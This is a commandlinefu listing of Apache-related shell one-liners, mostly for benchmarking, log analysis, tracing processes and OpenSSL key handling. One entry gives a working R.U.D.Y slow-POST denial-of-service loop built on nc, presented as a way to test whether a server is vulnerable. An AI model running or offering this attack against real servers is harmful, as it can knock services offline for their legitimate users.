Commands tagged apache sorted by votes

Commands tagged apache (33)

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benchmark web server with apache benchmarking tool

-n 9000 : Number of requests to perform for the benchmarking session -c 900 : Number of multiple requests to perform at a time Show Sample Output

ab -n 9000 -c 900 localhost:8080/index.php

amaymon · 2009-08-07 07:19:40 1

Determine what an process is actually doing
This is sample output - yours may be different.
7

sudo strace -pXXXX -e trace=file

tolginho · 2009-12-01 15:27:48 2

Know which modules are loaded on an Apache server

This let you know which modules has loaded the Apache server, very useful to know if the mod_rewrite is ready to use. Show Sample Output

apache2 -t -D DUMP_MODULES

ElAlecs · 2009-02-16 17:30:20 2

List apache2 virtualhosts

Lists virtualhosts currently enabled for apache2, showing the ServerName:port, conf file and DocumentRoot
This is sample output - yours may be different.
4

/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root =~ s/^\s+//; print "\t$root\n" };'

lingo · 2009-07-21 10:51:30 0
Analyse compressed Apache access logs for the most commonly requested pages
This is sample output - yours may be different.
4

zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20

tkb · 2009-12-11 09:36:30 0
Count number of hits per IP address in last 2000 lines of apache logs and print the IP and hits if hits > 20
This is sample output - yours may be different.
4

tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}'

allrightname · 2010-05-10 19:08:37 0
Check apache config syntax and restart or edit the file

Checks the apache configuration syntax, if is OK then restart the service otherwise opens the configuration file with VIM on the line where the configuration fails.
This is sample output - yours may be different.
3

( apache2ctl -t && service apache2 restart || (l=$(apache2ctl -t 2>&1|head -n1|sed 's/.*line\s$[0-9]*$.*/\1/'); vim +$l $(locate apache2.conf | head -n1)))

cicatriz · 2010-11-26 18:12:08 0
easily strace all your apache *child* processes

Like the original version except it does not include the parent apache process or the grep process and adds "sudo" so it can be run by user.
This is sample output - yours may be different.
3

ps h --ppid $(cat /var/run/apache2.pid) | awk '{print"-p " $1}' | xargs sudo strace

colinmollenhour · 2012-03-21 01:59:41 0
remove password from openssl key file

Strip a password from a openssl key to use with apache httpd server
This is sample output - yours may be different.
2

openssl rsa -in /path/to/originalkeywithpass.key -out /path/to/newkeywithnopass.key

drerik · 2012-09-16 19:31:38 0
OpenSSL one line CSR & Key generation
This is sample output - yours may be different.
2

openssl req -nodes -newkey rsa:2048 -keyout server.key -out server.csr -subj "/C=BR/ST=State/L=City/O=Company Inc./OU=IT/CN=domain.com"

sistematico · 2015-04-17 10:04:18 0
Display error pages in report format

This command will return a full list of Error 404 pages in the given access log. The following variables have been given to awk Hostname ($2), ERROR Code ($9), Missing Item ($7), Referrer ($11) You can then send this into a file (>> /path/to/file), which you can open with OpenOffice as a CSV
This is sample output - yours may be different.
1

sudo awk '($9 ~ /404/)' /var/log/httpd/www.domain-access_log | awk '{print $2,$9,$7,$11}' | sort | uniq -c

ninjasys · 2010-04-09 10:31:50 3

CLI Visual Apache Web Log Analyzer

GoAccess is an open source real-time Apache web log analyzer and interactive viewer that runs in a terminal in *nix systems. It provides fast and valuable HTTP statistics for system administrators that require a visual server report on the fly. http://goaccess.prosoftcorp.com/ Show Sample Output

goaccess -f /var/log/apache2/access.log -s -b

allinurl · 2010-10-25 20:03:18 1

How To Get the Apache Document Root

Grabs the Apache config file (yielded from httpd) and returns the path specified as DocumentRoot. Show Sample Output
This is sample output - yours may be different.
```
/var/www/public_html
```
1

httpd -V | grep -i SERVER_CONFIG_FILE | cut -f2 -d'"' | xargs grep -i '^DocumentRoot' | cut -f2 -d'"'

dcpesses · 2011-08-13 20:45:05 0
How To Get the Apache Document Root
This is sample output - yours may be different.
1

awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.conf/{print $2}')

putnamhill · 2011-08-15 13:19:57 0
See loaded modules in apache

Easiest way to check which modules are loaded in apache. Show Sample Output
This is sample output - yours may be different.
```
# httpd -M
Loaded Modules:
 core_module (static)
 mpm_prefork_module (static)
 http_module (static)
 so_module (static)
 authn_file_module (shared)
```
1

httpd -M

rockon · 2012-05-27 12:04:17 0
Send apache log to syslog-ng

Send apache log to syslog-ng server without change configuration of syslog. Just add in httpd.conf or vhost conf.
This is sample output - yours may be different.
1

CustomLog "|nc -u IP PORT "<134>%{%b %d %X}t %h %l %u %t \"%r\"%>s %b \"%{Referer}i\" \"%{User-agent}i\""

flojb · 2012-12-26 09:32:52 0
Fetch the requested virtual domains and their hits from log file

The command will read the apache log file and fetch the virtual host requested and the number of requests.
This is sample output - yours may be different.
1

cat /etc/httpd/logs/access.log | awk '{ print $6}' | sed -e 's/\[//' | awk -F'/' '{print $1}' | sort | uniq -c

suyashjain · 2014-10-13 13:39:53 0
easily trace all Nginx processes

Nginx (and other webservers like Apache) can be awkward to trace. They run as root, then switch to another user once they're ready to serve web pages. They also have a "master" process and multiple worker processes. The given command finds the process IDs of all Nginx processes, joins them together with a comma, then traces all of them at once with "sudo strace." System trace output can be overwhelming, so we only capture "networking" output. TIP: to kill this complex strace, do "sudo killall strace". Compare with a similar command: http://www.commandlinefu.com/commands/view/11918/easily-strace-all-your-apache-processes Show Sample Output
This is sample output - yours may be different.
```
# grab an Nginx web page:
#     curl -so /dev/null localhost

[pid  1145] accept4(6, {sa_family=AF_INET, sin_port=htons(57358), sin_addr=inet_addr("127.0.0.1")}, [16], SOCK_NONBLOCK) = 10
[pid  1145] recvfrom(10, "GET / HTTP/1.1\r\nUser-Agent: curl"..., 1024, 0, NULL, NULL) = 73
[pid  1145] setsockopt(10, SOL_TCP, TCP_CORK, [1], 4) = 0
[pid  1145] sendfile(10, 11, [0], 612)  = 612
[pid  1145] setsockopt(10, SOL_TCP, TCP_CORK, [0], 4) = 0
[pid  1145] recvfrom(10, 0xa7e1c0, 1024, 0, 0, 0) = -1 EAGAIN (Resource temporarily unavailable)
[pid  1145] recvfrom(10, "", 1024, 0, NULL, NULL) = 0
```
1

sudo strace -e trace=network -p `pidof nginx | sed -e 's/ /,/g'`

shavenwarthog · 2016-01-28 18:48:16 0
How To Get the Apache Document Root
This is sample output - yours may be different.
0

awk '$1~/^DocumentRoot/{print $2}' /etc/apache2/sites-available/default

cicatriz · 2010-07-22 14:33:58 0
See what apache is doing without restarting it in debug mode
This is sample output - yours may be different.
0

pidof httpd | sed 's/ / -p /g' | xargs strace -fp

daniele · 2011-06-28 09:53:19 0

Monitor specific process (ie apache) using Top

Show only specific process id's using Top Show Sample Output

top -p `pidof apache2 | awk '{gsub(/[ ]/,",");print}'`

hbalagtas · 2011-07-28 20:13:36 0

See loaded modules in apache(2)
This is sample output - yours may be different.
0

apache2 -l

twowheels · 2012-05-31 21:00:47 0
Use Growl to monitor your local apache error logs for new messages

Simply add this to whatever apache startup script you have, or if you are on a MAC, create a new automator application. This will show a pretty growl notification whenever theres a new Apache error log entry. Useful for local development
This is sample output - yours may be different.
0

/usr/bin/tail -fn0 /path/to/apache_error.log | while read line; do /usr/local/bin/growlnotify --title "Apache Notice" --message "$line"; done &

jhyland87 · 2013-01-22 05:25:41 0
Watch who requests what page from apache logs

Use this command to watch apache access logs in real time to see what pages are getting hit. Show Sample Output
This is sample output - yours may be different.
```
127.0.0.1 "http://example.com/example-page.html"
127.0.0.1 "http://example.com/index.html"
127.0.0.1 "http://example.com/index.html"
```
0

tail -f access_log | awk '{print $1 , $12}'

tyzbit · 2014-12-24 14:15:52 1
Performs Layer 7 HTTP DoS attack

Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!
This is sample output - yours may be different.
0

for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done

elceef · 2015-04-15 14:02:55 0
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one-liner mpc track changer using dmenu

Add a [fluxbox] binding in your key file then this command provides a dmenu selector for the next track to play

Regex to remove HTML-Tags from a file

This regular expression removes all HTML-Tags from the file.

A formatting test for David Winterbottom: improving commandlinefu for submitters

Commandlinefu.com is great but has a few bugs when people are submitting new commands: . 1. There is no preview button. This was a minor inconvenience before, but now is a major problem since new commands won't show up to be edited until they have been moderated. . 2. White space in the description field and in the comments is almost completely lost. People resort to using periods in between paragraphs to force a line break. Indentation of code is ridiculous. . 3. Many characters get munged. . 3a. For example, a less than character in the description gets read as an HTML tag and discarded. In order to type a less than, I've had to type "<" (I hope that comes out right). Unfortunately, when re-editing a command, the HTML entity is turned into a literal less than character, which I have to change back by hand before saving. 3b. Some unicode characters work in the description field, but turn into ugly literal HTML strings when put in the sample output or in an additional command using the $ prefix. . For example, here is a unicode character: ❥ $ Here is the same character after a dollar sign: ❥ . 3c. Some unicode characters don't work anywhere. Bizarrely, it appears to be the most commonly needed ones, such as Latin-1 accented characters. Here are some examples, . Bullet: ?, Center dot: ?, Umlaut u: ?. . 4. Here is an example of the greater than, >, and less than,

happened to find this not bad software to keep my files and folders safe! Even the free trial version has the fantastic functions to protect any private files from being seen by anyone except me. With it I can encrypt, hide or lock anything I want, amazin

I noticed some spammer posted an advertisement here for "not bad" encryption. Unfortunately, their software only runs under Microsoft Windows and fails to work from the commandline. My shell script improves upon those two aspects, with no loss in security, using the exact same "military-grade" encryption technology, which has the ultra-cool codename "ROT-13". For extra security, I recommend running ROT-13 twice.

analyze traffic remotely over ssh w/ wireshark

commandline for mac os x

add the result of a command into vi

in command mode, navigate your cursor to the line where you want the command output to appear, and hit "!!". No need to enter edit mode or even type a ":" (colon).

Deal with dot files safely

history autocompletion with arrow keys

This will enable the possibility to navigate in the history of the command you type with the arrow keys, example "na" and the arrow will give all command starting by na in the history.You can add these lines to your .bashrc (without &&) to use that in your default terminal.

c_rehash replacement

When you don't have c_rehash handy. Really simple - if you have a .pem file that doesn't really contain a x509 cert (let's say, newreq.pem), it will create a link, simply called '.0', pointing to that file.

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Commands tagged apache (33)

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